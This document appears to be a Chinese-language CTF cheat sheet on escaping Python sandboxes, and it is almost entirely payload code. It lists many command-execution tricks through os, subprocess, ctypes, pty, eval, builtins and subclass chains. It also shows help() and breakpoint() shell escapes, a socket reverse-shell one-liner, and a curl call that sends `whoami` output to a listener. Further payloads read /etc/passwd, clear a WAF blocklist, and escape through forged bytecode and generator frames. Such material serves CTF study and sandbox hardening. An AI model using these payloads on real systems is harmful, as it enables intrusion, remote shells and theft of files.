1 2 3 4 5 6 7 8 9 import os # 执行shell命令不会返回shell的输出 os.system('whoami') # 会产生返回值,可通过read()的方式读取返回值 os.popen("whoami").read() __import__('os').system('ls') os.posix_spawn("/bin/ls", ["/bin/ls", "-l"], os.environ) os.posix_spawn("/bin/bash", ["/bin/bash"], os.environ) os.spawnv(0,"/bin/ls", ["/bin/ls", "-l"])
os.exec*()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import os # os.execl os.execl('/bin/sh', 'xx') __import__('os').execl('/bin/sh', 'xx') # os.execle os.execle('/bin/sh', 'xx', os.environ) __import__('os').execle('/bin/sh', 'xx', __import__('os').environ) # os.execlp os.execlp('sh', 'xx') __import__('os').execle('/bin/sh', 'xx', __import__('os').environ) # os.execlpe os.execlpe('sh', 'xx', os.environ) __import__('os').execlpe('sh', 'xx', __import__('os').environ) # os.execv os.execv('/bin/sh', ['xx']) __import__('os').execv('/bin/sh', ['xx']) # os.execve os.execve('/bin/sh', ['xx'], os.environ) __import__('os').execve('/bin/sh', ['xx'], __import__('os').environ) # os.execvp os.execvp('sh', ['xx']) __import__('os').execvp('sh', ['xx']) # os.execvpe os.execvpe('sh', ['xx'], os.environ) __import__('os').execvpe('sh', ['xx'], __import__('os').environ)
os.fork() with os.exec*()
1 (__import__('os').fork() == 0) and __import__('os').system('ls')
commands
1 2 3 4 import commands commands.getstatusoutput("ls") commands.getoutput("ls") commands.getstatus("ls")
ctypes
1 2 3 4 import ctypes libc = ctypes.CDLL(None) libc.system('ls ./'.encode()) # 使用 encode() 方法将字符串转换为字节字符串
1 2 import ctypes ctypes.CDLL(None).system('ls /'.encode())
1 __import__('ctypes').CDLL(None).system('ls /'.encode())
threading
1 2 3 4 5 6 7 8 import threading import os def func(): os.system('ls') # 在新的线程中执行命令 t = threading.Thread(target=func) # 创建一个新的线程 t.start() # 开始执行新的线程
1 2 3 4 5 6 写成一行 # eval, exec 都可以执行的版本 __import__('threading').Thread(target=lambda: __import__('os').system('ls')).start() # exec 可执行 import threading, os; threading.Thread(target=lambda: os.system('ls')).start()
subprocess
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import subprocess subprocess.Popen('ls', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.read() # python2 subprocess.call('whoami', shell=True) subprocess.check_call('whoami', shell=True) subprocess.check_output('whoami', shell=True) subprocess.Popen('whoami', shell=True) # python3 subprocess.run('whoami', shell=True) subprocess.getoutput('whoami') subprocess.getstatusoutput('whoami') subprocess.call('whoami', shell=True) subprocess.check_call('whoami', shell=True) subprocess.check_output('whoami', shell=True) subprocess.Popen('whoami', shell=True) __import__('subprocess').Popen('whoami', shell=True)
multiprocessing
1 2 3 4 5 6 7 8 import multiprocessing import os def func(): os.system('ls') p = multiprocessing.Process(target=func) p.start()
1 2 import multiprocessing multiprocessing.Process(target=lambda: __import__('os').system('curl localhost:9999/?a=`whoami`')).start()
1 __import__('multiprocessing').Process(target=lambda: __import__('os').system('ls')).start()
_posixsubprocess
1 2 3 4 5 6 import os import _posixsubprocess _posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False) __loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False)
pty 仅限linux环境
1 2 3 import pty pty.spawn("ls") __import__('pty').spawn("ls")
timeit
1 2 import timeit timeit.timeit("__import__('os').system('dir')",number=1)
exec
1 exec('__import__("os").system("ls")')
eval
1 eval('__import__("os").system("ls")')
eval 无法直接达到执行多行代码的效果,使用 compile 函数并传入 exec 模式就能够实现。
1 eval(compile('__import__("os").system("ls")', '<string>', 'exec'))
platform
1 2 3 4 import platform platform.sys.modules['os'].system('ls') platform.os.system('ls') print platform.popen('dir').read()
importlib
1 2 3 4 import importlib importlib.import_module('os').system('ls') # Python3可以,Python2没有该函数 importlib.__import__('os').system('ls')
sys
1 2 import sys sys.modules['os'].system('calc')
linecache
1 2 import linecache linecache.os.system('ls')
__builtins__ __builtins__: 是一个 builtins 模块的一个引用,其中包含 Python 的内置名称。这个模块自动在所有模块的全局命名空间中导入。当然我们也可以使用 import builtins 来导入 它包含许多基本函数(如 print、len 等)和基本类(如 object、int、list 等)。这就是可以在 Python 脚本中直接使用 print、len 等函数,而无需导入任何模块的原因。 我们可以使用 dir() 查看当前模块的属性列表. 其中就可以看到 __builtins__ 内置的函数中 open 与文件操作相关,(python2 中为 file 函数)
1 2 __builtins__.open('/etc/passwd').read() __import__("builtins").open('/etc/passwd').read()
__builtins__除了读取文件之外还可以通过调用其 __import__ 属性来引入别的模块执行命令。
1 2 3 >>> __builtins__.__import__ <built-in function __import__> >>> __builtins__.__import__('os').system('ls')
由于每个导入的模块都会留存一个 __builtins__ 属性,因此我们可以在任意的模块中通过__builtins__来引入模块或者执行文件操作。需要注意的是,__builtins__在模块级别和全局级别的表现有所不同。
在全局级别(也就是你在Python交互式解释器中直接查看__builtins__时),__builtins__实际上是一个模块<module ‘__builtin__’ (built-in)>。
在模块级别(也就是你在一个Python脚本中查看__builtins__),__builtins__是一个字典,这个字典包含了__builtin__模块中所有的函数和类。
因此,当通过其他模块的 __builtins__时,如__import__(‘types’).__builtins__时,实际上看到的是一个字典,包含了所有的内建函数和类。此时调用的方式有所变化。
1 2 >>> __import__('types').__builtins__['__import__'] <built-in function __import__>
很多时候我们要获取 builtins,获取 builtins 方法多样,需要结合已有的条件加以分析,如果存在内置函数,则可以通过 __self__ 快速获取 builtins 模块。
1 2 print.__self__ print.__self__.exec
help函数 help 函数可以打开帮助文档. 索引到 os 模块之后可以打开 sh 以下面的环境为例
1 eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])
当我们输入 help 时,注意要进行 unicode 编码,help 函数会打开帮助
然后输入 os,此时会进入 os 的帮助文档。
然后在输入 !sh 就可以拿到 /bin/sh, 输入 !bash 则可以拿到 /bin/bash
1 2 3 4 help> os $ ls a-z0-9.py exp2.py exp.py flag.txt $
breakpoint 函数 pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。
在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码
1 2 3 4 5 6 7 8 9 >>> 𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵() --Return-- > <stdin>(1)<module>()->None (Pdb) __import__('os').system('ls') a-z0-9.py exp2.py exp.py flag.txt 0 (Pdb) __import__('os').system('sh') $ ls a-z0-9.py exp2.py exp.py flag.txt
反弹shell
1 2 3 import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh") s=__import__('socket').socket(__import__('socket').AF_INET,__import__('socket').SOCK_STREAM);s.connect(("127.0.0.1",12345));[__import__('os').dup2(s.fileno(),i) for i in range(3)];__import__('pty').spawn("/bin/sh")
其他
1 2 bdb:bdb.os、cgi.sys cgi:cgi.os、cgi.sys
构造代码对象进行RCE
CodeType 是 python 的内置类型之一,用于表示编译后的字节码对象。CodeType 对象包含了函数、方法或模块的字节码指令序列以及与之相关的属性。
CodeType 对象具有以下属性:
co_argcount: 函数的参数数量,不包括可变参数和关键字参数。 co_cellvars: 函数内部使用的闭包变量的名称列表。 co_code: 函数的字节码指令序列,以二进制形式表示。 co_consts: 函数中使用的常量的元组,包括整数、浮点数、字符串等。 co_exceptiontable: 异常处理表,用于描述函数中的异常处理。 co_filename: 函数所在的文件名。 co_firstlineno: 函数定义的第一行所在的行号。 co_flags: 函数的标志位,表示函数的属性和特征,如是否有默认参数、是否是生成器函数等。 co_freevars: 函数中使用的自由变量的名称列表,自由变量是在函数外部定义但在函数内部被引用的变量。 co_kwonlyargcount: 函数的关键字参数数量。 co_lines: 函数的源代码行列表。 co_linetable: 函数的行号和字节码指令索引之间的映射表。 co_lnotab: 表示行号和字节码指令索引之间的映射关系的字符串。 co_name: 函数的名称。 co_names: 函数中使用的全局变量的名称列表。 co_nlocals: 函数中局部变量的数量。 co_positions: 函数中与位置相关的变量(比如闭包中的自由变量)的名称列表。 co_posonlyargcount: 函数的仅位置参数数量。 co_qualname: 函数的限定名称,包含了函数所在的模块和类名。 co_stacksize: 函数的堆栈大小,表示函数执行时所需的堆栈空间。 co_varnames: 函数中局部变量的名称列表。
假设存在如下的一个函数.
1 2 3 4 5 6 7 8 9 10 def get_flag(some_input): var1=1 var2="secretcode" var3=["some","array"] def calc_flag(flag_rot2): return ''.join(chr(ord(c)-2) for c in flag_rot2) if some_input == var2: return calc_flag("VjkuKuVjgHnci") else: return "Nope"
我们可以通过 get_flag.__code__ 获取其代码对象. 代码对象包含了关于代码的所有信息, 例如 co_code 属性存储了字节码信息, 因此修改这个字节码就可以达到修改函数执行的目的, 但需要注意的是,python 可以将某个函数的 __code__ 对象整个进行修改。仅仅修改其中的子属性是不行的。如下所示, python 会抛出异常.
1 2 3 4 5 6 >>> get_flag.__code__.co_code b'\x97\x00d\x01}\x01d\x02}\x02d\x03d\x04g\x02}\x03d\x05\x84\x00}\x04|\x00|\x02k\x02\x00\x00\x00\x00r\x0b\x02\x00|\x04d\x06\xa6\x01\x00\x00\xab\x01\x00\x00\x00\x00\x00\x00\x00\x00S\x00d\x07S\x00' >>> get_flag.__code__.co_code = 1 Traceback (most recent call last): File "<stdin>", line 1, in <module> AttributeError: attribute 'co_code' of 'code' objects is not writable
这种情况下,我们需要构造一个新的代码对象并主动执行.具体步骤如下: 1.第一步,本地构造 payload
1 2 def read(): return print(open("/etc/passwd",'r').read())
2.获取创建代码对象所需的参数, 通过 help 或者 __doc__ 属性进行获取, 不同的版本有所差异, 我在本地测试时版本为 python 3.11.2,此时 code 需要传入 17 个参数,且不支持关键字传递。
1 2 3 >>>> import types >>> help(types.CodeType) code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize, flags, codestring, constants, names, varnames, filename, name, qualname, firstlineno, linetable, exceptiontable, freevars=(), cellvars=(), /)
3.参数赋值。获取到所需的参数之后,我们可以将这些参数先保存在变量中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 code = read.__code__ argcount = code.co_argcount posonlyargcount = code.co_posonlyargcount kwonlyargcount = code.co_kwonlyargcount nlocals = code.co_nlocals stacksize = code.co_stacksize flags = code.co_flags codestring = code.co_code constants = code.co_consts names = code.co_names varnames = code.co_varnames filename = code.co_filename name = code.co_name qualname = code.co_qualname firstlineno = code.co_firstlineno linetable = code.co_linetable exceptiontable = code.co_exceptiontable freevars = code.co_freevars cellvars = code.co_cellvars
4.创建代码对象。创建代码对象需要调用 types.CodeType。
1 2 import types codeobj = types.CodeType(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize, flags, codestring, constants, names, varnames, filename, name, qualname, firstlineno, linetable, exceptiontable, freevars, cellvars)
也可以使用 builtins 中的 type 函数获取到这个类
1 code_type = type((lambda: None).__code__)
5.调用函数。从代码对象进行调用需要创建一个函数对象, 获取这个类可以使用 type 函数,或者直接 import
1 function_type = type(lambda: None)
创建函数对象所需的参数如下,可以通过 help 函数查看
1 function(code, globals, name=None, argdefs=None, closure=None)
一般情况下只需要前两个参数即可:
1 2 3 mydict = {} mydict['__builtins__'] = __builtins__ function_type(codeobj, mydict, None, None, None)()
6.调用函数也可以直接使用 eval 或者 exec
完整代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 def read(): return print(open("/etc/passwd",'r').read()) function_type = type(lambda: None) code_type = type((lambda: None).__code__) code = read.__code__ argcount = code.co_argcount posonlyargcount = code.co_posonlyargcount kwonlyargcount = code.co_kwonlyargcount nlocals = code.co_nlocals stacksize = code.co_stacksize flags = code.co_flags codestring = code.co_code constants = code.co_consts names = code.co_names varnames = code.co_varnames filename = code.co_filename name = code.co_name qualname = code.co_qualname firstlineno = code.co_firstlineno linetable = code.co_linetable exceptiontable = code.co_exceptiontable freevars = code.co_freevars cellvars = code.co_cellvars mydict = {} mydict['__builtins__'] = __builtins__ codeobj = code_type(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize, flags, codestring, constants, names, varnames, filename, name, qualname, firstlineno, linetable, exceptiontable, freevars, cellvars) # code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize, flags, codestring, constants, names, varnames, filename, name, qualname, firstlineno, linetable, exceptiontable, freevars=(), cellvars=(),/) # function_type(codeobj, mydict, None, None, None)() eval(codeobj)
最终可以成功读取 /etc/passwd
读写文件 file 类
1 2 3 # Python2 file('test.txt').read() #注意:该函数只存在于Python2,Python3不存在
open 函数
1 2 3 open('/etc/passwd').read() __builtins__.open('/etc/passwd').read() __import__("builtins").open('/etc/passwd').read()
get_data 函数 FileLoader 类
1 2 # _frozen_importlib_external.FileLoader.get_data(0,<filename>) "".__class__.__bases__[0].__subclasses__()[91].get_data(0,"app.py")
相比于获取 __builtins__再使用 open 去进行读取,使用 get_data 的 payload 更短
codecs模块
1 2 import codecs codecs.open('test.txt').read()
linecache 模块 getlines 函数
1 2 3 >>> import linecache >>> linecache.getlines('/etc/passwd') >>> __import__("linecache").getlines('/etc/passwd')
getline 函数需要第二个参数指定行号
1 __import__("linecache").getline('/etc/passwd',1)
license 函数
1 2 3 4 5 6 __builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"] a = __builtins__.help a.__class__.__enter__ = __builtins__.__dict__["license"] a.__class__.__exit__ = lambda self, *args: None with (a as b): pass
枚举目录 os 模块
1 2 3 4 import os os.listdir("/") __import__('os').listdir('/')
glob模块
1 2 3 4 import glob glob.glob("f*") __import__('glob').glob("f*")
获取函数信息 python 中的每一个函数对象都有一个 __code__属性.这个__code__属性就是上面的代码对象,存放了大量有关于该函数的信息。
假设上下文存在一个函数
1 2 3 4 5 6 7 8 def get_flag(some_input): var1=1 var2="secretcode" var3=["some","array"] if some_input == var2: return "THIS-IS-THE-FALG!" else: return "Nope"
__code__属性包含了诸多子属性,这些子属性用于描述函数的字节码对象,下面是对这些属性的解释:
co_argcount: 函数的参数数量,不包括可变参数和关键字参数。
co_cellvars: 函数内部使用的闭包变量的名称列表。
co_code: 函数的字节码指令序列,以二进制形式表示。
co_consts: 函数中使用的常量的元组,包括整数、浮点数、字符串等。
co_exceptiontable: 异常处理表,用于描述函数中的异常处理。
co_filename: 函数所在的文件名。
co_firstlineno: 函数定义的第一行所在的行号。
co_flags: 函数的标志位,表示函数的属性和特征,如是否有默认参数、是否是生成器函数等。
co_freevars: 函数中使用的自由变量的名称列表,自由变量是在函数外部定义但在函数内部被引用的变量。
co_kwonlyargcount: 函数的关键字参数数量。
co_lines: 函数的源代码行列表。
co_linetable: 函数的行号和字节码指令索引之间的映射表。
co_lnotab: 表示行号和字节码指令索引之间的映射关系的字符串。
co_name: 函数的名称。
co_names: 函数中使用的全局变量的名称列表。
co_nlocals: 函数中局部变量的数量。
co_positions: 函数中与位置相关的变量(比如闭包中的自由变量)的名称列表。
co_posonlyargcount: 函数的仅位置参数数量。
co_qualname: 函数的限定名称,包含了函数所在的模块和类名。
co_stacksize: 函数的堆栈大小,表示函数执行时所需的堆栈空间。
co_varnames: 函数中局部变量的名称列表。
获取函数中的常量 可以使用 __code__.co_consts这种方法获取常量
1 2 >>> get_flag.__code__.co_consts (None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')
获取变量名称 则可以使用如下的 payload 获取 get_flag 函数中的变量信息
1 2 3 4 5 6 __globals__ get_flag.__globals__ >>> get_flag.__code__.co_varnames ('some_input', 'var1', 'var2', 'var3')
获取函数字节码序列 get_flag 函数的 __code__.co_code, 可以获取到函数的字节码序列
1 2 >>> get_flag.__code__.co_code b'\x97\x00d\x01}\x01d\x02}\x02d\x03d\x04g\x02}\x03|\x00|\x02k\x02\x00\x00\x00\x00r\x02d\x05S\x00d\x06S\x00'
字节码并不包含源代码的完整信息,如变量名、注释等。但可以使用 dis 模块来反汇编字节码并获取大致的源代码.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 >>> bytecode = get_flag.__code__.co_code >>> dis.dis(bytecode) 0 RESUME 0 2 LOAD_CONST 1 4 STORE_FAST 1 6 LOAD_CONST 2 8 STORE_FAST 2 10 LOAD_CONST 3 12 LOAD_CONST 4 14 BUILD_LIST 2 16 STORE_FAST 3 18 LOAD_FAST 0 20 LOAD_FAST 2 22 COMPARE_OP 2 (==) 28 POP_JUMP_FORWARD_IF_FALSE 2 (to 34) 30 LOAD_CONST 5 32 RETURN_VALUE >> 34 LOAD_CONST 6 36 RETURN_VALUE
虽然能获取但不太方便看,如果能够获取 __code__对象,也可以通过 dis.disassemble 获取更清晰的表示.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 >>> bytecode = get_flag.__code__ >>> dis.disassemble(bytecode) 1 0 RESUME 0 2 2 LOAD_CONST 1 (1) 4 STORE_FAST 1 (var1) 3 6 LOAD_CONST 2 ('secretcode') 8 STORE_FAST 2 (var2) 4 10 LOAD_CONST 3 ('some') 12 LOAD_CONST 4 ('array') 14 BUILD_LIST 2 16 STORE_FAST 3 (var3) 5 18 LOAD_FAST 0 (some_input) 20 LOAD_FAST 2 (var2) 22 COMPARE_OP 2 (==) 28 POP_JUMP_FORWARD_IF_FALSE 2 (to 34) 6 30 LOAD_CONST 5 ('THIS-IS-THE-FALG!') 32 RETURN_VALUE 8 >> 34 LOAD_CONST 6 ('Nope') 36 RETURN_VALUE
修改函数信息 使用types.CodeType进行修改
修改常量 先打印函数常量格式
1 2 oCode = src.__code__.co_consts print(oCode)
然后修改常量控制函数参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 src.__code__= types.CodeType(oCode.co_argcount, oCode.co_posonlyargcount, oCode.co_kwonlyargcount, oCode.co_nlocals, oCode.co_stacksize, oCode.co_flags, oCode.co_code, (None, '/flag', 'r', 'utf-8', ('encoding',)) oCode.co_names, oCode.co_varnames, oCode.co_filename, oCode.co_name, oCode.co_firstlineno, oCode.co_lnotab, oCode.co_freevars, oCode.co_cellvars,)
修改函数字节码 执行输入的hex
1 2 3 4 from types import CodeType def x():pass x.__code__ = CodeType(0,0,0,0,0,0,bytes.fromhex(input(">>> ")[:176]),(),(),(),'Δ','♦','✉︎',0,bytes(),bytes(),(),()) a = x()
payload1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import dis def assemble(ops): cache = bytes([dis.opmap["CACHE"], 0]) ret = b"" for op, arg in ops: opc = dis.opmap[op] ret += bytes([opc, arg]) ret += cache * dis._inline_cache_entries[opc] return ret co_code = assemble( [ ("RESUME", 0), ("LOAD_CONST", 115), ("UNPACK_EX", 29), ("BUILD_TUPLE", 28), ("POP_TOP", 0), ("SWAP", 2), ("POP_TOP", 0), ("LOAD_CONST", 115), ("SWAP", 2), ("BINARY_SUBSCR", 0), ("COPY", 1), ("CALL", 0), # input ("LOAD_CONST", 115), ("UNPACK_EX", 21), ("BUILD_TUPLE", 20), ("POP_TOP", 0), ("SWAP", 2), ("POP_TOP", 0), ("LOAD_CONST", 115), ("SWAP", 2), ("BINARY_SUBSCR", 0), ("SWAP", 2), ("CALL", 0), # exec ("RETURN_VALUE", 0), ] ) print(co_code.hex())
payload2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * from opcode import opmap co_code = bytes([ opmap["KW_NAMES"], 0, opmap["RESUME"], 0, opmap["PUSH_NULL"], 0, opmap["LOAD_FAST"], 82, # exec opmap["LOAD_FAST"], 6, # my input opmap["PRECALL"], 1, opmap["CACHE"], opmap["CACHE"], opmap["CALL"], 1, opmap["CACHE"], opmap["CACHE"], ]) payload = co_code.ljust(176, b"B") # add padding util the input limit is reached print(payload.hex().encode() + b" if __import__('os').system('cat /*') else 0")
LOAD_FAST
1 2 (lambda:0).__class__((lambda:0).__code__.replace(co_code=b'|\x17S\x00', co_argcount=0, co_nlocals=0, co_varnames=( )), {})()["exec"]("import os;os.system('ls')")
获取环境信息 获取 python 版本 sys 模块
platform模块
1 2 import platform platform.python_version()
获取 linux 版本 platform 模块
1 2 import platform platform.uname()
获取路径
获取全局变量 globals 函数 globals 函数可以获取所有的全局变量。下面是一个例题,题目的目标就是获取 fake_key_var_in_the_local_but_real_in_the_remote 的值进入 backdoor 函数。这里使用 globals 就可以获取 fake_key_var_in_the_local_but_real_in_the_remote 的值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 #it seems have a backdoor #can u find the key of it and use the backdoor fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]" def func(): code = input(">") if(len(code)>9): return print("you're hacker!") try: print(eval(code)) except: pass def backdoor(): print("Please enter the admin key") key = input(">") if(key == fake_key_var_in_the_local_but_real_in_the_remote): code = input(">") try: print(eval(code)) except: pass else: print("Nooo!!!!") WELCOME = ''' _ _ _ _ _ _ | | | | | | | | | | | | | | __ _| | _____ | | __ _| | _____ | | __ _| | _____ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | | (_| | < __/ | | (_| | < __/ | | (_| | < __/ |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| ''' print(WELCOME) print("Now the program has two functions") print("can you use dockerdoor") print("1.func") print("2.backdoor") input_data = input("> ") if(input_data == "1"): func() exit(0) elif(input_data == "2"): backdoor() exit(0) else: print("not found the choice") exit(0)
help函数 help 函数也可以获取某个模块的帮助信息,包括全局变量, 输入 main 之后可以获取当前模块的信息。
相比 globals() 而言 help() 更短,在一些限制长度的题目中有利用过这个点。
vars 函数 vars() 函数返回该对象的命名空间(namespace)中的所有属性以字典的形式表示。当前模块的所有变量也会包含在里面,一些过滤链 globals 和 help 函数的场景可以尝试使用 vars()
获取模块内部函数或变量 获取指定模块内部变量 获取模块内部函数或变量的目的主要是为了信息泄露或篡改。比如 waf.py 中存在某个变量定义了危险字符列表,我们可以考虑先获取这个变量然后将其清空。
可以先获取 load_module,然后通过 load_module 导入特定的模块,进而篡改其中变量。
1 list(().__class__.__bases__.__iter__().__next__().__subclasses__().__getitem__(84).load_module("waf").__dict__.values()).__getitem__(8).clear()
获取 __main__ 中变量 例如获取 __main__
1 sys.modules['__main__'].__dict__['app']
获取命名空间中的变量/模块/函数等 __globals__是一个特殊属性,能够以 dict 的形式返回函数(注意是函数)所在模块命名空间的所有变量,其中包含了很多已经引入的 modules。
1 2 url_for.__globals__['request'] url_for.__globals__['current_app']
删除文件 打开文件后没有close
删除模块 1 del __builtins__.__dict__['eval']
reload reload 函数可以重新加载模块 在 Python 3 中,reload() 函数被移动到 importlib 模块中,所以如果要使用 reload() 函数,需要先导入 importlib 模块
1 2 3 4 5 6 7 8 9 10 11 >>> __builtins__.__dict__['eval'] <built-in function eval> >>> del __builtins__.__dict__['eval'] >>> __builtins__.__dict__['eval'] Traceback (most recent call last): File "<stdin>", line 1, in <module> KeyError: 'eval' >>> reload(__builtins__) <module '__builtin__' (built-in)> >>> __builtins__.__dict__['eval'] <built-in function eval>
sys.modules 由于 import 导入模块时会检查 sys.modules 中是否已经有这个类,如果有则不加载,没有则加载.因此只需要将 os 模块删除,然后再次导入
1 2 3 4 5 sys.modules['os'] = 'not allowed' del sys.modules['os'] import os os.system('ls')
globals globals() 中存放了 builtins 模块的索引
1 globals()["__builtins__"]['breakpoint']
继承链 1 2 >>> ().__class__.__base__.__subclasses__()[5] <class 'bytes'>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 # os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls") # subprocess [ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen'][0]('ls') # builtins [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"] # help [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]['help'] [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]['__builtins__'] #sys [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls") #commands (not very common) [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls") #pty (not very common) [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls") #importlib [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls") #imp [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls") #pdb [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") # ctypes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('ctypes').CDLL(None).system('ls /'.encode()) # multiprocessing [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('multiprocessing').Process(target=lambda: __import__('os').system('curl localhost:9999/?a=`whoami`')).start()
1 [ x for x in ''.__class__.__base__.__subclasses__() if x.__name__=="FileLoader" ][0].get_data(0,"/etc/passwd")
利用生成器栈帧逃逸 生成器 生成器(Generator)是 Python 中一种特殊的迭代器,生成器可以使用 yield 关键字来定义。
yield 用于产生一个值,并在保留当前状态的同时暂停函数的执行。当下一次调用生成器时,函数会从上次暂停的位置继续执行,直到遇到下一个 yield 语句或者函数结束。
简单的例子 1 2 3 4 5 6 7 8 9 def f(): a=1 while True: yield a a+=1 f=f() print(next(f)) #1 print(next(f)) #2 print(next(f)) #3
如果我们给a定义一个范围,a<=100 ,可以使用for语句一次性输出
1 2 3 4 5 6 7 8 def f(): a=1 for i in range(100): yield a a+=1 f=f() for value in f: print(value)
生成器表达式 生成器表达式允许你使用简洁的语法来定义生成器,而不必显式地编写一个函数。
但是使用圆括号而不是方括号
1 2 3 4 a=(i+1 for i in range(100)) #next(a) for value in a: print(value)
生成器的属性 gi_code: 生成器对应的code对象。 gi_frame: 生成器对应的frame(栈帧)对象。 gi_running: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。 gi_yieldfrom:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。 gi_frame.f_locals:一个字典,包含生成器当前帧的本地变量。
gi_frame 是一个与生成器(generator)和协程(coroutine)相关的属性。它指向生成器或协程当前执行的帧对象(frame object),如果这个生成器或协程正在执行的话。帧对象表示代码执行的当前上下文,包含了局部变量、执行的字节码指令等信息
举例使用gi_frame获取当前帧的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def my_generator(): yield 1 yield 2 yield 3 gen = my_generator() # 获取生成器的当前帧信息 frame = gen.gi_frame # 输出生成器的当前帧信息 print("Local Variables:", frame.f_locals) print("Global Variables:", frame.f_globals) print("Code Object:", frame.f_code) print("Instruction Pointer:", frame.f_lasti)
栈帧 栈帧的几个重要属性
f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值。 f_globals: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。 f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。 f_lasti: 整数,表示最后执行的字节码指令的索引。 f_back: 指向上一级调用栈帧的引用,用于构建调用栈。
每个栈帧都会保存当时的 py 字节码和记录自身上一层的栈帧 !!!!!
利用栈帧沙箱逃逸 原理就是生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals全局符号表
